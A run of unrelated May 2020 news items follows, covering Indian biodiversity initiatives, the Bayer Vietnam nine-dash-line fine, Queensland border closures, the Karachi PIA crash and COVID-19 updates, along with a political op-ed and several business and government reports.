"Nature will provide the solutions. This is our message to the world on International Biodiversity Day," he said, adding that India welcomes those countries which are interested in improving their biodiversity, and is ready to share the experiences and best practices with them.

The minister, however, stressed on the need to limit consumption and promote a sustainable lifestyle.

"We cannot consume endlessly. We have to restrict our consumption," he said.

Speaking about pollination, Javadekar said that with the pesticides, the bees and insects which used to pollinate have vanished.

"India is reviving beekeeping culture. Bees pollinate, collect honey and serve the nature," he said.

The minister launched several initiatives, including United Nations Environment Programme (UNEP) Campaign on Illegal Trafficking of Endangered Species: Not all Animals Migrate by Choice.

Illegal trade in wildlife carries the risk of spreading dangerous pandemics. The campaign 'Not all Animals Migrate by Choice', launched by the Wildlife Crime Control Bureau, with UNEP, seeks to address these environmental challenges, to raise awareness, and to advocate solutions, the minister said.

"I am launching UNEP endangered species campaign. Fortunately, we have a robust system of anti-poaching activities. Year after year there are less incidents of poaching because of our vigil. Therefore, India has the finest biodiversity with 70 per cent of world''s population of tigers, 30,000 elephants, 3,000 single-horned rhinos and thousands of dolphins and many other species," he said.

The minister also launched the National Biodiversity Authority (NBA) and United Nations Development Programme (UNDP) Biodiversity Samrakshan Internship Programme which proposes to engage 20 students with postgraduate degrees for a period of one year through an open, transparent, online competitive process.

A webinar series on Biodiversity Conservation and Biological Diversity Act, 2002 was also launched along with the WWF Model Conference of Parties (MCoP), an initiative to engage in conversations around impact of humanity''s footprint on biodiversity and also the importance of sustenance of biodiversity, the minister said.
The managing director of pharmaceutical firm Bayer Vietnam has been fined VND30 million (US$1,280) for disseminating an internal document containing an image of Chinas illegal nine-dash line.

Nguyen Duc Tho, chief inspector of the Ho Chi Minh City Department of Information and Communications, on Thursday signed a decision to impose the fine upon Bayer Vietnams managing director Lynette Moey Yu Lin, a Chinese-Malaysian woman, for providing information that wrongly shows Vietnams sovereignty.

Authorities also confiscated her smartphone, which she had used to send emails that contained the internal document.

She was required to withdraw and remove such wrongful information.

The executive had sent a 19-megabyte file on prevention and control of novel coronavirus disease (COVID-19) to nine company employees by email on April 27.

A page in the digital document was found to feature a map of China which includes the infamous nine-dash line, an arbitrary demarcation line used by China to represent its unlawful claims to nearly all of the East Vietnam Sea.

Pursuant to Bayer Vietnam's working procedures, documents from the managing director will be sent to department heads, who would subsequently share them with lower-level employees.

However, the company stated that none other than the nine initial email recipients had received the file in question.

Bayer AG is a German multinational pharmaceutical and life sciences company operating in the fields of healthcare and agriculture.

Bayer Vietnam, which currently has about 700 employees, has been present in the country since 1994, according to a declaration on its website.

Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!
By Kirsty Needham

SYDNEY (Reuters) - Jamaica-based mobile phone carrier Digicel Group denied an Australian newspaper report on Thursday and said there is "no basis whatsoever" that it would sell its Pacific unit to state-owned China Mobile Ltd <0941.HK>.

Earlier in the day, the Australian Financial Review had reported that the Chinese company has been conducting due diligence on Digicel's Pacific unit since the beginning of the year, in a deal that could be worth as much as $900 million.

"We can categorically state there is no basis to this whatsoever and that no approach has been made to us," Antonia Graham, head of communications for Digicel Group, said in an emailed statement.

In the Pacific, Digicel operates in Papua New Guinea, Fiji, Samoa, Vanuatu and Tahiti.

A sale of the Pacific's largest mobile phone carrier to a Chinese state-owned company would be a cause of concern for the Australian government amid strategic competition between U.S. allies and China in the Pacific region.

Digicel, founded by Irish billionaire Denis O'Brien, has a dominant market share in PNG and will use the new Coral Sea submarine cable from Sydney that was constructed with funding from the Australian government to expand data services there.

Australia funded the 4,700-km (2,900-mile) Coral Sea cable to head off plans by Chinese telecoms company Huawei Technologies Co Ltd to lay the cable.

(Reporting by Kirsty Needham, Editing by Sherry Jacob-Phillips)
(Newser)  David and Emily Schantz couldn't take being cooped up inside during the pandemic last weekend, so they did what many families are doing these days: They packed the kids into the car for a drive. Per WTVR, Emily Schantz was the one behind the wheel Saturday in Goochland County, Virginia, when the vehicle in front of them suddenly swerved around something in the road. Schantz didn't have time to veer out of the way. "So they ran over the bag," Maj. Scott Moser of the Caroline County Sheriff's Office tells CNN. Not wanting to leave what they thought was garbage in the road, the Schantzes picked up that bag and threw it into the back of their pickup truck then drove on. They also retrieved a second bag spotted in a nearby ditch. The Schantzes then returned to their home in Caroline County, where they planned to throw out the bags with their own trash.

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That's when they discovered that what was inside the bags wasn't garbage at all. Moser says that while they initially thought the bags' contents included a bunch of mail, it turned out to be a whole lot of cash instead: "plastic baggies ... addressed with something that said 'cash vault,'" Emily Schantz tells WTVR. The AP reports that the family contacted the Caroline County Sheriff's Office, and deputies who counted the money determined there was close to $1 million between the two bags. Investigators think the money belonged to the USPS and was on its way to being deposited at the bank, though they're still trying to figure out how the cash ended up in the road. "They saved someone a lot of money and set a wonderful example for everyone else," Moser says, per the AP. Schantz shrugs off their good deed, telling WTVR, "It didn't belong to us." (An upstate New York couple found $10,000 in a shopping cart.)
Queensland Borders Will Remain Closed Despite Pressure From Federal Representatives

The premier doesn't want to reopen Queensland's borders until other states virus transmission rates decrease

Home Affairs Minister Peter Dutton and Senator Pauline Hanson have placed pressure on their home states premier to reopen Queenslands borders, arguing that keeping them closed is bad for the economy and according to Hanson, allegedly unconstitutional.

However, speaking to reporters on Friday, Palaszczuk said that Queenslands borders would remain shut, but that the decision is being reviewed every month.

Palaszczuk said the increased community transmission of COVID-19 in New South Wales and Victoria was a threat to Queenslands very low transmission rates.

The premier said she did not take the decision lightly and would like to see the other states get their community-based transmission under control before she would consider reopening Queensland to the rest of the country.

Unfortunately, they have 401 active cases in New South Wales, at the moment. Weve just seen a school close in New South Wales. Its a changing situation in News South Wales and we just dont want to put Queenslanders at risk at this stage, she said.

Dutton, who has been the federal representative for Queenslands south-east electorate of Dickson since 2001, said that Palaszczuk could reopen Queensland by July which would offer tourism operators some light at the end of the tunnel.

Dutton told 2GB radio: Lives are being destroyed, and the premiers conducting some social experiment here.

When youve got the deputy chief medical officer coming out and saying look theres no medical reason as to why the borders are closed or remain closed, and that they could remain closed until September if not beyond, I think people are rightly questioning what is going on, he added.

Peter Dutton has slammed Queensland Premier Annastacia Palaszczuks decision to keep borders closed. #9Today pic.twitter.com/ygnZTfhWN9  The Today Show (@TheTodayShow) May 21, 2020

Queensland One Nation Party Senator Pauline Hanson said on Friday that she too believed the states borders should reopen and said she was launching a legal challenge in the High Court.

QLD BORDER CRISIS It is unconstitutional: @OneNationAus leader Pauline Hanson threatens to take scaremongering, lawless Queensland premier to the High Court for refusing to open up the borders.@AlishaRouse @DailyMailAU #auspolhttps://t.co/82vVSK55J7  Pauline Hanson  (@PaulineHansonOz) May 21, 2020

Speaking on Nines Today program on Friday, Hanson said that she had received offers from three legal firms to handle the case and that 45 people have volunteered to be plaintiffs.

Hanson said she wanted to set a precedent with the court case and to put pressure on Palaszczuk to change her mind.

Responding to a question from a reporter on Friday, Palaszczuk said Hanson is welcome to take the matter to the High Court but that by the time it got there the borders would likely be opened.

Epoch Times reporter Caden Pearson contributed this article.
YEREVAN, MAY 22, ARMENPRESS. Speaker of Parliament of Armenia Ararat Mirzoyan met today with newly elected Speaker of Parliament of Artsakh Artur Tovmasyan in Stepanakert, the Armenian Parliament told Armenpress.

Speaker Mirzoyan congratulated his Artsakh counterpart on election and wished success. He expressed readiness to support the Artsakh colleagues in all spheres of their activity. Ararat Mirzoyan expressed confidence that the close cooperation with the Artsakh Parliament will further develop.

In turn Artur Tovmasyan said the two Parliaments have a great work to do in the general agenda of the Armenian people, mainly over the Artsakh issue and the recognition of the Armenian Genocide. He assured that he will keep and develop the ties with the Parliament of Armenia and expressed readiness to give a new impetus also to the works of the parliamentary committees.

Thereafter, the private meeting of the Speakers was followed by an extended format meeting.

Editing and Translating by Aneta Harutyunyan
Source: Xinhua| 2020-05-22 20:36:09|Editor: Xiaoxia

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BEIJING, May 22 (Xinhua) -- China will advance opening-up to a higher level as it pledges to further stabilize foreign trade and actively leverage the role of foreign capital, said the report delivered by Premier Li Keqiang at the opening meeting of the annual national legislative session on Friday.

The country will significantly shorten its negative list for foreign investment, while a negative list will also be drawn up for cross-border trade in services, said the report.

New pilot free trade zones and integrated bonded areas will be established in the country's central and western regions, the report said.

China will also focus on quality in the joint pursuit of the Belt and Road Initiative, firmly safeguard the multilateral trading regime and actively participate in the reform of the World Trade Organization, according to the report.

This year, the spread of the COVID-19 pandemic has brought shocks to the global economy, weighing on both the supply side and the demand side of China's foreign trade and investment. To cope with the challenges, China has taken various measures to keep foreign investment stable.

The foreign investment law took effect at the beginning of this year. To render a better business environment and provide overseas investors with stronger protection, the government has ramped up efforts to implement the law throughout the year.

The implementation of the foreign investment law shores up foreign-funded enterprises' confidence in Chinese market, said Jiang Ying, vice chairman of Deloitte China, adding that more opening-up measures will be of great significance to China's sustainable development as well as global economy.

China's opening-up endeavors have won widespread recognition. According to a World Bank report, China ranked 31st globally for ease of doing business, up from 46th in its previous annual report, and China's strong reform agenda placed the country in the world's top 10 "most improved" list for the second consecutive year.

China has abundant and high-quality labor resources, a mature and supportive industrial system and a market with a population of 1.4 billion, all of which are advantages in attracting foreign investment, Commerce Minister Zhong Shan said. "No smart entrepreneurs will give up the huge Chinese market."

According to the Ministry of Commerce, foreign direct investment into the Chinese mainland expanded 11.8 percent year on year to 70.36 billion yuan (about 9.92 billion U.S. dollars) in April this year.

Despite disruptions from the pandemic, the Chinese market will remain the most noteworthy business environment in the world for a long time, as long as China maintains strong domestic demand and innovation momentum, said Hungchih Liu, vice president for Asia Pacific of engineering multinational AECOM.

In light of the pandemic situation and the global economic recession, China needs to push for an opening-up with wider scope, higher quality and inclusiveness, said Wen Bin, chief analyst with China Minsheng Bank. Enditem
When the popular black radio host Charlamagne tha God told Joe Biden at the end of a spirited but friendly interview that he needed to come back on his show because We got more questions, Biden shot back:

You got more questions. If you have a problem figuring out if youre for me or Trump, then you aint black.

Good one, Joe.

As ridiculous as it was to say that to a black radio and TV personality who, among other things, wrote a book he calls a self-help guide for the hood, heres the thing: Biden was right. He just didnt have the right to say it.

As a political and social liberal  who is also black  I was dismayed that anyone, black or white, voted for Donald Trump in 2016. But I was particularly appalled when I saw anyone black campaign for him. The only person I gave a pass to was Omarosa Manigault Newman  because she, at least, truly had a business reason to vote for the guy who had made her famous on The Apprentice and could possibly get something out of his becoming president. And she did  she landed some vague White House job that she eventually quit before writing an unflattering memoir of her brief stint there.

I would be the last black person to suggest that black Americans are a monolithic group who all believe the same things. When it comes to electing the president of the United States, all Americans should care about voting rights, social programs, truthfulness and candor from our leaders, the environment, the meting out of justice, diversity in government offices, and the makeup of the Supreme Court. (As resilient as she is, Ruth Bader Ginsburg cannot live forever.) But when voting rights are subverted, the safety net is attacked, environmental regulations abandoned and income inequality widened, the repercussions hit black people hardest.

Charlamagne was right to remind Biden on his show, The Breakfast Club, that Democrats take black voters for granted. Thats true. The Democratic Party has a history of assuming: Who else will black people vote for? And the Republican Party often acts as if it lost black folks from the get-go.

Story continues

When Trump declared in 2016 at a political rally that black voters should choose him, asking them what did they have to lose, what had the Democratic Party done for them? I marveled, Nice try. But at the same time, it was preposterous. The New York Times documented a history of racial bias decades ago at rental properties owned by Trump and his father.

Biden and the Democratic Party are a better choice than Trump and the Republican Party. Its as simple and sometimes depressing as that. And not voting at all is dangerous. It only ups the possibility that Trump wins. Republicans vote, they dont stay home. Even in a quarantine.

Race and politics are so odd. President Clinton could possibly have gotten away with saying what Biden said because he was jokingly, affectionately, referred to as the first black president. Clinton seemed to genuinely bond with black folks  a result, I think, of his Southern roots and his effortless ability to bond with everyone, black, white, man, woman, child.

And President Obama, precisely because he is black, could never have gotten away with saying what Biden said because suddenly he would look like a flaming militant.

Bidens willingness to speak outside the boundaries of political correctness is refreshing. When he yelled at a Detroit auto plant worker (and this was when he was still campaigning for the Michigan primary and needed votes) and refused to placate him on gun rights  I'm not taking your gun away at all. You need 100 rounds?" I thought, "Fantastic." Finally, a candidate stands up to the gun-obsessed.

But Biden went too far this time. And, within hours, he had apologized, saying he should not have been so cavalier. Charlamagne didnt miss a beat when Biden said it. It dont have nothing to do with Trump. It has to do with the fact I want something for my community, he told Biden.

Biden should go back on his show and respond to that.
Recent reports said that Mexico President Andres Manuel Lopes Obrador ordered on Wednesday, a probe into accusations that the former administration was irregularly awarding "lucrative contracts to a company" allegedly linked to the family of his predecessor, Enrique Pena Nieto.

According to the said report, from the year 2013 until 2018, the administration of Pena Nieto awarded more than $600 million in contracts to Plasti-Esteril, a company that his family reportedly put up in 1991.

Also awarded the lucrative contracts El Universal, a Mexican newspaper said, was Baxter International, Inc., a firm that offers medical supplies.

Baxter, Plasti-Esteril's owner said that the firm was founded by the ex-president's family in 1991 although they sold their shares, according to reports, to different private investors a year after.

No More Shares in 1992

In a statement, Baxter also said that Pena Nieto's family completely ceased from having any "type of shares in Plasti-Esteril since 1992." The company also noted that it had complete ownership of the entire company in 1992.

Meanwhile, Lopez Obrador, during his daily media briefing said, they have to investigate if former "President Pena Nieto is involved and see how long the firm has been operational," what particular contracts it received, and if they were awarded to them directly, through proposals.

In the past, reports have it that the former Mexican president rejected allegations of wrongdoing during his administration. However, he could not be reached immediately to respond to request comments.

Lopez Obrador, who took over in December 2018, has made combating corruption among the priorities of his administration.

However, he said, his administration will not go after past Mexican presidents unless the citizens demand it. Specifically, he said, this is a "regime defined by corruption" and it takes a lot of time to clean things up.

Involvement in Scandals

Earlier this month, reports came out that the Mexican law enforcement authorities were probing ex-President Pena Nieto, involving him in some corruption scandals.

During his time as the president of Mexico, Pena Nieto was linked to various issues on corruption. Among these included the spyware software which the government purchased to monitor human rights attorneys and journalists and the disappearance of more than 40 students

More so, early in his leadership, then his wife, got involved in the so-called "2014 Casa Blanca scandal," where she reportedly, bought a mansion "with financing from a builder who formerly got awarded by the state government contracts" while Pena Nieto was still a governor.

He reportedly apologized partly, for such an involvement. More so, according to Pena Nieto's wife, First Lady Angelica Rivera, she had the money from her career in show business, specifically, as a star for a soap opera but she returned it in order to prevent any controversy.

And as mentioned, President Lopez Obrador said he does not want for his government to pursue past presidents in courts although he has recommended for the probability of "holding a referendum" on whether past country heads should face trial.

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National carrier Air India on Friday tweeted that it will start booking of tickets for domestic journey from today. The announcement comes days after after the government announced reopening of air travel from May 25.

On Thursday, the Civil Aviation Ministry gave details of 383 routes across the country where air travel will resume after a gap of two months.

Good News! Our Domestic Flight Bookings will start from 1230 hrs today. To book login to http://airindia.in or contact authorised travel agents or visit our booking offices or call customer care, Air India said on Twitter.

Many private players had announced resumption of bookings for domestic travel after the governments announcement. Carriers like IndiGo and GoAir had started accepting bookings on their website. Anothe rprivate carrier Vistara welcomed the moved to resume domestic flights, which were grounded on March 25, the day restrictions were first imposed in the country.

Aviation is a growth engine for the economy and resumption of air travel will give great impetus to the governments overall efforts in helping the country eventually return to normalcy, Vistara CEO Leslie Thng said.

While IndiGo is accepting bookings from May 25 - the fisrt day of the resumption of air travel - Vistara and GoAir have opened bookings from June 1.

The government also issued guidelines for air travel on Thursday. It has asked passengers to report at least two hours before departure, declare health status at the airport, complete the check-in process online, travel light and minimise use of the toilets once inside the flight.

The rules advised passengers to carry just one cabin baggage and one check-in baggage, and said there will be no meal on board.

In addition, very elderly, pregnant ladies, passengers with health issues have been asked to avoid air travel. A person residing in a containment zone will not be allowed inside the airport, the guidelines said.

Before boarding the flight, passengers will be provided with a safety kit - containing a mask, a face shield and a sanitiser - by their airlines.
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Linkedin (Reuters) Phnom Penh, Cambodia  Fri, May 22, 2020 08:05 608 fc6853813033f564188675f8bd985719 2 Environment Cambodia,turtle,animals,conservation Free

Conservationists in Cambodia are celebrating the hatching of more critically endangered turtles in recent months than the past three years combined, owing to a preservation drive and a halt on sand-dredging.

Some 23 rare royal turtles have hatched recently in southwestern Koh Kong province, the only place in Cambodia where the turtles can be found, including on a river beach not been used for nesting in 13 years.

The hatching of 23 of the 51 eggs found is boosting hopes of survival for a threatened species that was designated Cambodia's national reptile and was believed to be extinct two decades ago.

"With ongoing support and cooperation, we are hopeful that the number of turtles will continue to increase in the coming years," said Ken Sereyrotha, country program director for the Wildlife Conservation Society.

Read also: Indonesia, home to six rare turtle species

Illegal fishing, reduction of flooded woodlands and sand-dredging along the Sre Ambel river system has been blamed for loss of habitat for the turtle, also known as the southern river terrapin. A law was introduced in 2017 to stop sand-dredging.

The baby turtles are each only a few inches long and were measured and weighed by the group. They will be looked after at a conservation center before being released into the wild.

The European Union is helping to fund the program to save their species through research and monitoring and protection of the nests and beaches.

The increased hatching follows good news for turtles in Thailand, which since November has recorded the largest number of nests of rare leatherback sea turtles in two decades, found on beaches empty of tourists due to the coronavirus pandemic.

Topics : Cambodia turtle animals conservation
Irish exploration company Providence Resources has hit a fresh funding snag, with its prospective new development partner for its Barryroe oil and gas field delaying part of its promised introductory funding.

Providence tentatively named Norwegian firm SpotOn Energy as its new Barryroe partner last month, with that deal expected to be completed by the end of October following due diligence which is currently taking place.
Washington, D.C.--(Newsfile Corp. - May 22, 2020) - The Securities and Exchange Commission today announced charges against William Sadleir, the owner of a film distribution company, for defrauding a publicly traded fund of at least $13.8 million.

The SEC alleges that BlackRock Multi-Sector Income Trust (BIT), a registered closed-end management investment company, invested approximately $75 million in Aviron Group LLC, a film distribution company founded, owned, and operated by Sadleir. The complaint alleges that Sadleir represented that the investments would be used to support the company's distribution of films. Contrary to these representations, Sadleir allegedly used a sham company as a vehicle to fraudulently divert and misappropriate BIT funds and issued fake invoices seeking BIT funds for services that were never provided. Sadleir allegedly used the funds to pay personal expenses, including his purchase, furnishing, and renovation of a Beverly Hills mansion.

"When private companies and individuals solicit or accept investments, including from investment companies, they must comply with the federal securities laws," said Adam S. Aderton, Co-Chief of the Enforcement Division's Asset Management Unit. "We allege that Sadleir raided millions from BIT and its investors, and rather than using those funds for investment purposes he spent them lavishly on himself."

The SEC's complaint, filed in federal court in Manhattan, charges Sadleir with violating the antifraud provisions of the federal securities laws and seeks disgorgement of ill-gotten gains, civil penalties, and permanent injunctive relief.

In a parallel action, the U.S. Attorney's Office for the Southern District of New York today filed criminal charges against Sadleir.

The SEC's investigation, which is continuing, is being conducted by Salvatore Massa, Vincent T. Hull, and Brian Fitzpatrick of the Asset Management Unit, and Dugan Bliss and Kerri L. Palen of the New York Regional Office. The case was supervised by Andrew Dean of the Asset Management Unit. The SEC's litigation will be led by Mr. Bliss and Mr. Massa. The SEC appreciates the assistance of the U.S. Attorney's Office for the Southern District of New York and the Federal Bureau of Investigation.
Francis Conoles first TV ad of his Democratic congressional primary campaign highlights his Central New York roots and his service as a Navy officer during the Iraq War.

The 30-second ad begins airing today on Syracuse broadcast and cable TV stations and will continue for at least a week, according to Conoles campaign.

The ad does not mention Dana Balter, Conoles opponent in the June 23 primary election in the 24th Congressional District.

The ad, titled Just Like Me, draws attention to Conoles background as someone who grew up in Central New York at a time when Carrier Corp., General Motors and other local companies shut down their manufacturing operations.

Balter faced criticism from Rep. John Katko during their 2018 congressional race because she grew up in Stamford, Conn., and moved to Syracuse as an adult. Katko, R-Camillus, attempted to portray Balter as someone who didnt understand Central New Yorkers.

Conoles commercial is the first of a TV ad buy of more than $100,000 that will continue until the June 23 election, according to his campaign.

The ad begins with video of a boy delivering newspapers on a residential street. Conole delivered the Syracuse Herald-Journal and Sunday Herald American when he was a boy growing up in Westvale.

A series of unidentified Central New Yorkers proceed to offer testimonials.

Francis Conole grew up in Central New York, like I did, one man says, before two women add, When Carrier and GM left us behind, he felt the pain. We all did.

Later, a man says, Hes one of us. Thats why hes endorsed by Democratic groups all across Central New York.

The 24th District covers all of Onondaga, Cayuga and Wayne counties, and the western half of Oswego County, including the cities of Oswego and Fulton.

Conole, 41, of Syracuse, won the Democratic Party designation in Onondaga and Cayuga counties.

Balter, 43, of Syracuse, won the partys designation in Oswego County. Wayne County did not endorse a candidate for the primary election.

Watch Conoles first TV ad

All New York primary voters will have the option of voting by absentee ballot this year to help maintain social distancing during the coronavirus pandemic.

Voters will receive absentee ballot applications in the mail under an executive order issued last month by Gov. Andrew Cuomo. The application will include an envelope with prepaid postage.

Polls will be open for early in-person voting in the 24th District from June 13 to June 21 and on Election Day, June 23. The winner will face Katko in the November election.

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Got a tip, comment or story idea? Contact Mark Weiner anytime by: Email | Twitter | Facebook | 571-970-3751
Prosecutor General Iryna Venediktova has held a meeting with representatives of the National Reform Council and business associations to discuss ways to reduce pressure on business and increase its trust in law enforcement agencies, according to the press service of the Prosecutor General's Office.

"On Thursday, May 21, 2020, a meeting was held in the Office of the Prosecutor General with representatives of business and its associations, which was attended by MPs of Ukraine, representatives of the National Reform Council, Chairman of the Executive Committee of the National Reform Council Mikheil Saakashvili, representatives of the European Business Association, the Union of Ukrainian Entrepreneurs, the American Chamber of Commerce in Ukraine, CEO Club Ukraine, BUSINESS 100, and the Ukrainian Wind Energy Association, reads the statement.

Venediktova informed about the planned reforms and changes in the Office of the Prosecutor General and shared her vision of protecting business from excessive pressure of law enforcement agencies.

She also initiated an additional meeting with representatives of the National Reform Council, government officials and legislators to create a "road map" to return assets to the state, in particular, to develop a clear and rapid legal mechanism for this process.

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Source: Xinhua| 2020-05-23 05:39:19|Editor: huaxia

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CAIRO, May 22 (Xinhua) -- Egyptian Foreign Minister Sameh Shoukry and the European Union (EU) High Representative for Foreign Affairs and Security Policy Josep Borrell discussed mutual ties on Friday.

During a phone conversation, both officials highlighted the importance of continuing constructive cooperation between the two sides in order to strengthen the partnership in various fields, Egyptian foreign ministry said in a statement.

Shoukry expressed appreciation for the recent support provided by the EU to Egypt to develop its health sector, the statement said, adding that they have also touched ways to counter the spread of the coronavirus.

Shoukry and Borrell also discussed many regional issues, especially the latest developments in the Palestinian cause and efforts to resume the peace process based on the two-state solution.

The latest developments in Libya were also discussed, where the Egyptian minister stressed the importance of reaching a comprehensive political settlement, and the need to restore security and eliminate terrorism in order to achieve the desired stability for the Libyan people.

They discussed the issue of the controversial Grand Ethiopian Renaissance Dam (GERD) which Ethiopia is building on the Nile River, stressing the importance of reaching an agreement and refraining from taking any unilateral measures. Enditem
Bihar Board 10th Result 2020 declared: The Bihar Board released the Class 10 exam results today (Tuesday, 26 May). The results were likely to be released on Monday, but got delayed due to last-minute arrangements.

Bihar Board 10th Result 2020 declared: The Bihar Board released the Class 10 exam results today (Tuesday, 26 May). The results were likely to be released on Monday, but got delayed due to last-minute arrangements.

The BSEB announced the results of Class 10 students after scrutiny of the answer copies of students who scored the highest marks.

The Bihar Board started verifying the answer scripts of top-scoring students after an incident in 2016, where toppers did not know answers to basic questions.

The verification process of half of the toppers has been completed. As soon as the process for all the 38 districts is over, BSEB will declare the Class 10 results.

Once declared, students can check their Class 10 Bihar board examination 2020 results on biharboardonline.bihar.gov.in as well as biharboard.online and via SMS.

The board completed the compilation process of marks after the submission of evaluation results to it.

The Bihar Board Class 10 examination 2020 was held from 17 to 24 February. The results were scheduled to be announced by March but the evaluation of more than 15.29 lakh answer scripts was postponed till 3 May due to the nationwide COVID-19 lockdown. The evaluation process began on 6 May.

Here's how to check your result:

Step 1: Visit the website of Bihar Board - biharboardonline.bihar.gov.in

Step 2: On the home page, click on the 'Results'

Step 3: Tap on Class X Matriculation results

Step 4: Select your stream and click on 'Result'

Step 5: You will be directed to a new page where you will have to key-in your credentials

Step 6: Enter the captcha text

Step 7: You can now check and download your BSEB Class 10 Result 2020.

Students can also check their BSEB Class 10 Results 2020 via SMS. For this, you will need to go to the message option of their phone and type - BSEB10 -space- ROLL NUMBER and send it to 56263.

Last year, the Bihar Board Class 10 Result pass percentage was 80.73 percent. Bihar board Class 12 Result 2020 was released by BSEB on 24 March.
KENT COUNTY, MI -- Kent County was the unenviable leader of new coronavirus cases in Michigan on Thursday, amounting to about one-fifth of the states total new cases.

Local health leaders arent sounding any alarms, because they say there are reasons for the Grand Rapids area having the most new cases Thursday.

A major factor, they say, is ramped up testing and targeted testing of high-risk groups, such as those who live in nursing homes.

Kent County recorded 109 new COVID-19 cases May 21, giving it a little more than the 106 new cases in Wayne County. Throughout the pandemic, Wayne County often has had the most new cases each day.

Kent Countys cases surpassed 3,000 this week and are now at 3,145. The deaths now total 62.

Still, it has far fewer deaths tied to COVID-19 than several other counties in Michigan.

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Kent County Health Director Adam London, during video updates posted to the departments Facebook page, said the countys test strike teams have been out this week at long-term care facilities to do testing and he believed it was partly responsible for the bump up in cases.

Earlier, he said health department staff was aggressively seeking out COVID-19 cases to try to find any clusters -- whether at industry or other places where people may congregate -- and stop further spread.

He acknowledged that Kent County has the fourth-highest number of total cases in Michigan and again cited increased testing as a major factor.

Our testing is very high, our positives are very high but our deaths are relatively low," London said. This disparity I think is another sign that were doing a good job, relatively speaking, of doing testing in the community.

The statewide fatality rate is about 10 percent while Kent Countys is less than 2 percent, he said.

Related: Southeast Michigan sees lowest positive coronavirus test rates to date

Kent County Health Department Epidemiologist Brian Hartl said its difficult to give an exact number on daily tests administered, although its increased by hundreds in the last few weeks.

We do know that the hospitals continue to increase their daily capacity for testing and we are also getting several positive results from independent labs, he said in an email to MLive/The Grand Rapids Press.

Health officials are also monitoring the relatively high percentage of Hispanic residents testing positive for the coronavirus in Kent County.

About 40 percent of the countys total COVID-19 cases involve Hispanic residents, yet U.S. Census data shows they make up only about 11 percent of the county population.

London said several factors come into play, including the fact that many work in industries deemed essential and they have been on the job the last two months.

They havent had the same opportunity to stay home and stay safe that others have had, he said.

He also said that some live in large-family settings with more people in the household.

London said Spectrum Health and other health organizations are trying to help reach the Hispanic community with education and COVID-19 screening. Workers with Spectrum Healths More Life Mas Vida are working in the Roosevelt Park and Madison Square neighborhoods to do prevention work.

Kent County coronavirus data also shows the county now has 1,462 people who have recovered from COVID-19. A recovery is defined as someone who is alive 30 days beyond the onset of COVID-19 symptoms.

Local hospital data shows that Spectrum Health, throughout its system, has 92 people in hospitals for coronavirus symptoms, Mercy Health St. Marys hospital has 28 and Metro Health has nine.

The number of people with COVID-19 symptoms has remained stable over the last few weeks, with no significant increases.

COVID-19 PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus.

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Friday, May 22: Latest developments on coronavirus in Michigan

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Gov. Gretchen Whitmer can extend state of emergency without legislature, judge rules
D ozens have been killed after a passenger plane crashed near Karachi Airport in Pakistan.

Pakistan International Airlines flight PK303 was on its final approach to the runway after making the 90-minute journey from the eastern city of Lahore when it crashed into buildings.

Karachi mayor Wasim Akhtar, speaking from the crash site, said all 98 passengers and crew on board had been killed, but civil aviation officials later said at least two people survived.

Mr Akhtar said at least five or six houses were destroyed in the crash, but it was not immediately known how many casualties there were in the residential area.

Local television channels showed a large number of people crowded at the crash site surrounded by plumes of black smoke and damaged buildings.

The plane crashed in a heavily populated district of the city / AFP via Getty Images

They reported that at least 11 bodies were recovered from the crash site and six people were injured. It was not immediately clear if the casualties were passengers.

Witnesses said the Airbus A320 attempted to land two or three times before crashing in a residential area near Jinnah International Airport, one of Pakistan's busiest transport hubs.

A transmission of the pilot's final exchange with air traffic control, posted on the website LiveATC.net, indicated he had failed to land and was circling around to make another attempt.

"We are proceeding direct, sir - we have lost engine," a pilot said.

"Confirm your attempt on belly," the air traffic controller said, offering a runway.

"Sir - mayday, mayday, mayday, mayday Pakistan 8303," the pilot said before the transmission ended.

The suburb where the plane crashed on the edge of the airport, known as Model Colony, is a poor area and densely populated.

At least five or six buildings were destroyed in the suburb where the plane crashed / TWITTER/SHAHABNAFEES via REUTERS

Pakistani Prime Minister Imran Khan tweeted: "Shocked & saddened by the PIA crash. . . Immediate inquiry will be instituted. Prayers & condolences go to families of the deceased."

Local television reports showed smoke coming from the direction of the airport and video of the plane flying low over a residential area seemed to show flames shooting from one of the engines.

Safety documents said the plane last received a Government inspection on November 1, Associated Press reported.

Pakistan has seen two other fatal crashes in the past six years / AFP via Getty Images

The news agency reported that PIA's chief engineer signed a separate certificate on April 28 saying maintenance was complete ans the plane was "fully airworthy and meets all the safety" standards.

It is the third fatal plane disaster in Pakistan in the past six years.

In December 2016, a domestic flight from Chitral to the capital Islamabad plunged into a hillside, killing all 47 passengers and crew.

In 2014, one passenger died when an Airbus A310 from Riyadh in Saudi Arabia was hit with gunfire near Peshwar in Pakistan
[May 22, 2020] State Fund Now Accepting Applications for $50 Million Return-to-Work Safety Fund

State Compensation Insurance Fund (State Fund), California's leading provider of workers' compensation insurance, announced today it has started accepting applications for its $50 million Returning California to Work COVID-19 Safety Protocol Fund. The fund will help State Fund policyholders implement new safety measures to combat the spread of COVID-19 as California's stay-at-home orders are lifted. "Our return to work safety fund will help protect our policyholders, their employees, and their customers from COVID-19," said State Fund President & CEO Vern Steiner. "By providing this support, we're ensuring that businesses can afford to make the critical safety upgrades they need to reopen as stay-at-home orders are lifted. That's good for the health of Californians and our economy." The Returning California to Work COVID-19 Safety Protocol Fund was designed specifically for businesses who were not deemed "essential" under Governor Newsom's COVID-19 executive orders. It provides grants to qualified policyholders to help defray the costs of safety-related expenses, planned or already incurred, related to protecting their workforces from COVID-19. It covers costs such as goggles, masks, and gloves; cleaning supplies and services; and worksite modifications. Individual grants can total up to $10,000 or two times the policyholder's premium, whichever is less. State Fund will continue to accept applications and award grants until the $50 million fund is depleted. Applications an fund details are available here.



Several weeks ago, State Fund launched a separate $50 million fund to support essential businesses. That fund is still actively accepting applications and more information is available here. State Fund also offers guidance to all California businesses on re-opening requirements and how to establish a pandemic prevention plan on its safety resource site, SafeAtWorkCA.com.

